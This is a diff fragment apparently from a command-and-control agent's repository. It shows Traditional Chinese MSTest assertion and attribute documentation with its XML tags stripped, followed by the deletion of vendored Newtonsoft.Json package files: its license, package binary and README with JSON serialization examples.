. - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - Thrown if is found in - . - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 位於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is found in - . - - - - - 測試指定的集合是否未包含指定的元素, - 並在元素在集合中時擲回例外狀況。 - - - 在其中搜尋元素的集合。 - - - 預期不在集合中的元素。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 位於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is found in - . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含 null 元素。訊息會顯示在測試結果中。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都為非 null,並在有任何元素為 null 時 - 擲回例外狀況。 - - - 要在其中搜尋 null 元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含 null 元素。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if a null element is found in . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含至少一個重複元素。訊息會顯示在 - 測試結果中。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試所指定集合中的所有項目是否都是唯一的, - 並在集合中的任兩個元素相等時擲回例外狀況。 - - - 在其中搜尋重複元素的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含至少一個重複元素。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if a two or more equal elements are found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 在下者中找不到: 。 - 訊息會顯示在測試結果中。 - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否為另一個集合的子集, - 並在子集中的任何元素也不在超集中時擲回 - 例外狀況。 - - - 集合預期為下者的子集: 。 - - - 集合預期為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 在下者中找不到: 。 - 訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element in is not found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - Thrown if every element in is also found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的每個元素: - 也會在下者中找到: 。 - 訊息會顯示在測試結果中。 - - - Thrown if every element in is also found in - . - - - - - 測試其中一個集合是否不為另一個集合的子集, - 並在子集中的所有元素也都在超集中時擲回 - 例外狀況。 - - - 集合預期不為下者的子集: 。 - - - 集合預期不為下者的超集: - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的每個元素: - 也會在下者中找到: 。 - 訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if every element in is also found in - . - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在其中一個集合中找到元素但在另一個集合中找不到元素時 - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含相同元素, - 並在任一集合包含不在其他集合中的元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試所預期的 - 元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在其中一個集合中找到元素但在另一個集合中找不到元素時 - 要包含在例外狀況中的訊息。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含與下者相同的元素: 。訊息 - 會顯示在測試結果中。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試兩個集合是否包含不同元素,並在兩個集合 - 包含不管順序的相同元素時 - 擲回例外狀況。 - - - 要比較的第一個集合。這包含測試預期與實際集合 - 不同的元素。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 包含與下者相同的元素: 。訊息 - 會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 不是下者的執行個體: - 。訊息會顯示在測試結果中。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試所指定集合中的所有元素是否為預期類型的執行個體, - 並在預期類型不在一或多個元素的繼承階層中時 - 擲回例外狀況。 - - - 包含測試預期為所指定類型之元素 - 的集合。 - - - 下者的每個元素的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: 下者中的元素: - 不是下者的執行個體: - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否相等,並在兩個集合不相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。這是測試所預期的集合。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的集合是否不相等,並在兩個集合相等時 - 擲回例外狀況。「相等」定義為具有相同順序和數量的 - 相同元素。相同值的不同參考視為 - 相等。 - - - 要比較的第一個集合。測試預期這個集合 - 不符合 。 - - - 要比較的第二個集合。這是正在測試的程式碼 - 所產生的集合。 - - - 要在比較集合元素時使用的比較實作。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 參數陣列,使用時機為格式 。 - - - Thrown if is equal to . - - - - - 判斷第一個集合是否為第二個集合的子集。 - 如果任一個集合包含重複的元素,則元素 - 在子集中的出現次數必須小於或 - 等於在超集中的出現次數。 - - - 測試預期包含在下者中的集合: 。 - - - 測試預期包含下者的集合: 。 - - - True 的情況為 是下者的子集: - ,否則為 false。 - - - - - 建構字典,內含每個元素在所指定集合中 - 的出現次數。 - - - 要處理的集合。 - - - 集合中的 null 元素數目。 - - - 包含每個元素在所指定集合內之出現次數 - 的字典。 - - - - - 尋找兩個集合之間不相符的元素。不相符的元素 - 為出現在預期集合中的次數 - 不同於它在實際集合中出現的次數。 - 集合假設為具有數目相同之元素的不同非 null 參考。 - 呼叫者負責這個層級的驗證。 - 如果沒有不相符的元素,則函數會傳回 false, - 而且不應該使用 out 參數。 - - - 要比較的第一個集合。 - - - 要比較的第二個集合。 - - - 下者的預期出現次數: - 或 0 (如果沒有不相符的 - 元素)。 - - - 下者的實際出現次數: - 或 0 (如果沒有不相符的 - 元素)。 - - - 不相符的元素 (可能為 null) 或 null (如果沒有 - 不相符的元素)。 - - - 如果找到不相符的元素,則為 true,否則為 false。 - - - - - 使用 object.Equals 來比較物件 - - - - - 架構例外狀況的基底類別。 - - - - - 初始化 類別的新執行個體。 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 強型別資源類別,用於查詢當地語系化字串等。 - - - - - 傳回這個類別所使用的快取的 ResourceManager 執行個體。 - - - - - 針對使用這個強型別資源類別的所有資源查閱, - 覆寫目前執行緒的 CurrentUICulture 屬性。 - - - - - 查閱與「存取字串有無效的語法。」類似的當地語系化字串。 - - - - - 查閱與「預期在集合中包含 {1} 項 <{2}>,但實際的集合卻有 {3} 項。{0}」類似的當地語系化字串。 - - - - - 查閱與「找到重複的項目:<{1}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1}>。大小寫與下列實際值不同:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期值 <{1}> 和實際值 <{2}> 之間的預期差異不大於 <{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1} ({2})>。實際:<{3} ({4})>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期:<{1}>。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期值 <{1}> 和實際值 <{2}> 之間的預期差異大於 <{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「預期任何值 (<{1}> 除外)。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「不要將實值型別傳遞給 AreSame()。轉換成 Object 的值從此不再一樣。請考慮使用 AreEqual()。{0}」類似的當地語系化字串。 - - - - - 查閱與「{0} 失敗。{1}」類似的當地語系化字串。 - - - - - 不支援查詢類似非同步處理 TestMethod 與 UITestMethodAttribute 的當地語系化字串。移除非同步處理或使用 TestMethodAttribute。 - - - - - 查閱與「兩個集合都是空的。{0}」類似的當地語系化字串。 - - - - - 查閱與「兩個集合含有相同的元素。」類似的當地語系化字串。 - - - - - 查閱與「兩個集合參考都指向同一個集合物件。{0}」類似的當地語系化字串。 - - - - - 查閱與「兩個集合含有相同的元素。{0}」類似的當地語系化字串。 - - - - - 查閱與「{0}({1})」類似的當地語系化字串。 - - - - - 查閱與「(null)」類似的當地語系化字串。 - - - - - 查閱與「(物件)」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 未包含字串 '{1}'。{2}。」類似的當地語系化字串。 - - - - - 查閱與「{0}({1})」類似的當地語系化字串。 - - - - - 查閱與「Assert.Equals 不應使用於判斷提示。請改用 Assert.AreEqual 及多載。」類似的當地語系化字串。 - - - - - 查閱與「集合中的元素數目不符。預期:<{1}>。實際:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {0} 的元素不符。」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {1} 的項目不是預期的類型。預期的類型:<{2}>。實際的類型:<{3}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「位於索引 {1} 的元素是 (null)。預期的類型:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 不是以字串 '{1}' 結尾。{2}。」類似的當地語系化字串。 - - - - - 查閱與「無效的引數 - EqualsTester 無法使用 null。」類似的當地語系化字串。 - - - - - 查閱與「無法將 {0} 類型的物件轉換為 {1}。」類似的當地語系化字串。 - - - - - 查閱與「所參考的內部物件已不再有效。」類似的當地語系化字串。 - - - - - 查閱與「參數 '{0}' 無效。{1}。」類似的當地語系化字串。 - - - - - 查閱與「屬性 {0} 具有類型 {1}; 預期為類型 {2}。」類似的當地語系化字串。 - - - - - 查閱與「{0} 預期的類型:<{1}>。實際的類型:<{2}>。」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 與模式 '{1}' 不符。{2}。」類似的當地語系化字串。 - - - - - 查閱與「錯誤的類型:<{1}>。實際的類型:<{2}>。{0}」類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 與模式 '{1}' 相符。{2}。」類似的當地語系化字串。 - - - - - 查閱與「未指定 DataRowAttribute。至少一個 DataRowAttribute 必須配合 DataTestMethodAttribute 使用。」類似的當地語系化字串。 - - - - - 查閱與「未擲回任何例外狀況。預期為 {1} 例外狀況。{0}」類似的當地語系化字串。 - - - - - 查閱與「參數 '{0}' 無效。值不能為 null。{1}。」類似的當地語系化字串。 - - - - - 查閱與「元素數目不同。」類似的當地語系化字串。 - - - - - 查閱與「找不到具有所指定簽章的建構函式。 - 您可能必須重新產生私用存取子,或者該成員可能為私用, - 並且定義在基底類別上。如果是後者,您必須將定義 - 該成員的類型傳送至 PrivateObject 的建構函式。」 - 類似的當地語系化字串。 - - - - - 查閱與「找不到所指定的成員 ({0})。 - 您可能必須重新產生私用存取子, - 或者該成員可能為私用,並且定義在基底類別上。如果是後者,您必須將定義該成員的類型 - 傳送至 PrivateObject 的建構函式。」 - 類似的當地語系化字串。 - - - - - 查閱與「字串 '{0}' 不是以字串 '{1}' 開頭。{2}。」類似的當地語系化字串。 - - - - - 查閱與「預期的例外狀況類型必須是 System.Exception 或衍生自 System.Exception 的類型。」類似的當地語系化字串。 - - - - - 查閱與「(由於發生例外狀況,所以無法取得 {0} 類型之例外狀況的訊息。)」類似的當地語系化字串。 - - - - - 查閱與「測試方法未擲回預期的例外狀況 {0}。{1}」類似的當地語系化字串。 - - - - - 查閱與「測試方法未擲回例外狀況。測試方法上定義的屬性 {0} 需要例外狀況。」類似的當地語系化字串。 - - - - - 查閱與「測試方法擲回例外狀況 {0},但是需要的是例外狀況 {1}。例外狀況訊息: {2}」類似的當地語系化字串。 - - - - - 查閱與「測試方法擲回例外狀況 {0},但是需要的是例外狀況 {1} 或由它衍生的類型。例外狀況訊息: {2}」類似的當地語系化字串。 - - - - - 查閱與「擲回例外狀況 {2},但需要的是例外狀況 {1}。{0} - 例外狀況訊息: {3} - 堆疊追蹤: {4}」類似的當地語系化字串。 - - - - - 單元測試結果 - - - - - 已執行測試,但發生問題。 - 問題可能包含例外狀況或失敗的判斷提示。 - - - - - 測試已完成,但是無法指出成功還是失敗。 - 可能用於已中止測試。 - - - - - 已執行測試且沒有任何問題。 - - - - - 目前正在執行測試。 - - - - - 嘗試執行測試時發生系統錯誤。 - - - - - 測試逾時。 - - - - - 使用者已中止測試。 - - - - - 測試處於未知狀態 - - - - - 提供單元測試架構的協助程式功能 - - - - - 遞迴地取得例外狀況訊息 (包含所有內部例外狀況 - 的訊息) - - 要為其取得訊息的例外狀況 - 含有錯誤訊息資訊的字串 - - - - 逾時的列舉,可以與 類別搭配使用。 - 列舉的類型必須相符 - - - - - 無限。 - - - - - 測試類別屬性。 - - - - - 取得可讓您執行此測試的測試方法屬性。 - - 此方法上所定義的測試方法屬性執行個體。 - 要用來執行此測試。 - Extensions can override this method to customize how all methods in a class are run. - - - - 測試方法屬性。 - - - - - 執行測試方法。 - - 要執行的測試方法。 - 代表測試結果的 TestResult 物件陣列。 - Extensions can override this method to customize running a TestMethod. - - - - 測試初始化屬性。 - - - - - 測試清除屬性。 - - - - - Ignore 屬性。 - - - - - 測試屬性 (property) 屬性 (attribute)。 - - - - - 初始化 類別的新執行個體。 - - - 名稱。 - - - 值。 - - - - - 取得名稱。 - - - - - 取得值。 - - - - - 類別會將屬性初始化。 - - - - - 類別清除屬性。 - - - - - 組件會將屬性初始化。 - - - - - 組件清除屬性。 - - - - - 測試擁有者 - - - - - 初始化 類別的新執行個體。 - - - 擁有者。 - - - - - 取得擁有者。 - - - - - Priority 屬性; 用來指定單元測試的優先順序。 - - - - - 初始化 類別的新執行個體。 - - - 優先順序。 - - - - - 取得優先順序。 - - - - - 測試描述 - - - - - 初始化 類別的新執行個體來描述測試。 - - 描述。 - - - - 取得測試的描述。 - - - - - CSS 專案結構 URI - - - - - 初始化用於 CSS 專案結構 URI 之 類別的新執行個體。 - - CSS 專案結構 URI。 - - - - 取得 CSS 專案結構 URI。 - - - - - CSS 反覆項目 URI - - - - - 初始化用於 CSS 反覆項目 URI 之 類別的新執行個體。 - - CSS 反覆項目 URI。 - - - - 取得 CSS 反覆項目 URI。 - - - - - 工作項目屬性; 用來指定與這個測試相關聯的工作項目。 - - - - - 初始化用於工作項目屬性之 類別的新執行個體。 - - 工作項目的識別碼。 - - - - 取得建立關聯之工作項目的識別碼。 - - - - - Timeout 屬性; 用來指定單元測試的逾時。 - - - - - 初始化 類別的新執行個體。 - - - 逾時。 - - - - - 初始化具有預設逾時之 類別的新執行個體 - - - 逾時 - - - - - 取得逾時。 - - - - - 要傳回給配接器的 TestResult 物件。 - - - - - 初始化 類別的新執行個體。 - - - - - 取得或設定結果的顯示名稱。適用於傳回多個結果時。 - 如果為 null,則使用「方法名稱」當成 DisplayName。 - - - - - 取得或設定測試執行的結果。 - - - - - 取得或設定測試失敗時所擲回的例外狀況。 - - - - - 取得或設定測試程式碼所記錄之訊息的輸出。 - - - - - 取得或設定測試程式碼所記錄之訊息的輸出。 - - - - - 透過測試程式碼取得或設定偵錯追蹤。 - - - - - Gets or sets the debug traces by test code. - - - - - 取得或設定測試執行的持續時間。 - - - - - 取得或設定資料來源中的資料列索引。僅針對個別執行資料驅動測試之資料列 - 的結果所設定。 - - - - - 取得或設定測試方法的傳回值 (目前一律為 null)。 - - - - - 取得或設定測試所附加的結果檔案。 - - - - - 指定連接字串、表格名稱和資料列存取方法來進行資料驅動測試。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - 資料來源的預設提供者名稱。 - - - - - 預設資料存取方法。 - - - - - 初始化 類別的新執行個體。將使用資料提供者、連接字串、運算列表和資料存取方法將這個執行個體初始化,以存取資料來源。 - - 非變異資料提供者名稱 (例如 System.Data.SqlClient) - - 資料提供者特定連接字串。 - 警告: 連接字串可能會包含敏感性資料 (例如,密碼)。 - 連接字串是以純文字形式儲存在原始程式碼中和編譯的組件中。 - 限制對原始程式碼和組件的存取,以保護這項機密資訊。 - - 運算列表的名稱。 - 指定資料的存取順序。 - - - - 初始化 類別的新執行個體。此執行個體將使用連接字串和表格名稱進行初始化。 - 指定連接字串和運算列表以存取 OLEDB 資料來源。 - - - 資料提供者特定連接字串。 - 警告: 連接字串可能會包含敏感性資料 (例如,密碼)。 - 連接字串是以純文字形式儲存在原始程式碼中和編譯的組件中。 - 限制對原始程式碼和組件的存取,以保護這項機密資訊。 - - 運算列表的名稱。 - - - - 初始化 類別的新執行個體。將使用與設定名稱相關聯的資料提供者和連接字串將這個執行個體初始化。 - - 在 app.config 檔案的 <microsoft.visualstudio.qualitytools> 區段中找到資料來源名稱。 - - - - 取得值,代表資料來源的資料提供者。 - - - 資料提供者名稱。如果未在物件初始化時指定資料提供者,將會傳回 System.Data.OleDb 的預設提供者。 - - - - - 取得值,代表資料來源的連接字串。 - - - - - 取得值,指出提供資料的表格名稱。 - - - - - 取得用來存取資料來源的方法。 - - - - 下列其中之一: 值。如果 未進行初始化,則這會傳回預設值 。 - - - - - 取得在 app.config 檔案 <microsoft.visualstudio.qualitytools> 區段中找到的資料來源名稱。 - - - - - 可在其中內嵌指定資料之資料驅動測試的屬性。 - - - - - 尋找所有資料列,並執行。 - - - 測試「方法」。 - - - 下列項目的陣列: 。 - - - - - 執行資料驅動測試方法。 - - 要執行的測試方法。 - 資料列。 - 執行結果。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/.signature.p7s b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/.signature.p7s deleted file mode 100644 index d55e4724..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/.signature.p7s and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/LICENSE.md b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/LICENSE.md deleted file mode 100644 index dfaadbe4..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/LICENSE.md +++ /dev/null @@ -1,20 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2007 James Newton-King - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/Newtonsoft.Json.13.0.3.nupkg b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/Newtonsoft.Json.13.0.3.nupkg deleted file mode 100644 index 5829e3da..00000000 Binary files a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/Newtonsoft.Json.13.0.3.nupkg and /dev/null differ diff --git a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/README.md b/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/README.md deleted file mode 100644 index 9982a45c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/Newtonsoft.Json.13.0.3/README.md +++ /dev/null @@ -1,71 +0,0 @@ -# ![Logo](https://raw.githubusercontent.com/JamesNK/Newtonsoft.Json/master/Doc/icons/logo.jpg) Json.NET - -[![NuGet version (Newtonsoft.Json)](https://img.shields.io/nuget/v/Newtonsoft.Json.svg?style=flat-square)](https://www.nuget.org/packages/Newtonsoft.Json/) -[![Build status](https://dev.azure.com/jamesnk/Public/_apis/build/status/JamesNK.Newtonsoft.Json?branchName=master)](https://dev.azure.com/jamesnk/Public/_build/latest?definitionId=8) - -Json.NET is a popular high-performance JSON framework for .NET - -## Serialize JSON - -```csharp -Product product = new Product(); -product.Name = "Apple"; -product.Expiry = new DateTime(2008, 12, 28); -product.Sizes = new string[] { "Small" }; - -string json = JsonConvert.SerializeObject(product); -// { -// "Name": "Apple", -// "Expiry": "2008-12-28T00:00:00", -// "Sizes": [ -// "Small" -// ] -// } -``` - -## Deserialize JSON - -```csharp -string json = @"{ - 'Name': 'Bad Boys', - 'ReleaseDate': '1995-4-7T00:00:00', - 'Genres': [ - 'Action', - 'Comedy' - ] -}"; - -Movie m = JsonConvert.DeserializeObject(json); - -string name = m.Name; -// Bad Boys -``` - -## LINQ to JSON - -```csharp -JArray array = new JArray(); -array.Add("Manual text"); -array.Add(new DateTime(2000, 5, 23)); - -JObject o = new JObject(); -o["MyArray"] = array; - -string json = o.ToString(); -// { -// "MyArray": [ -// "Manual text", -// "2000-05-23T00:00:00" -// ] -// } -``` - -## Links - -- [Homepage](https://www.newtonsoft.com/json) -- [Documentation](https://www.newtonsoft.com/json/help) -- [NuGet Package](https://www.nuget.org/packages/Newtonsoft.Json) 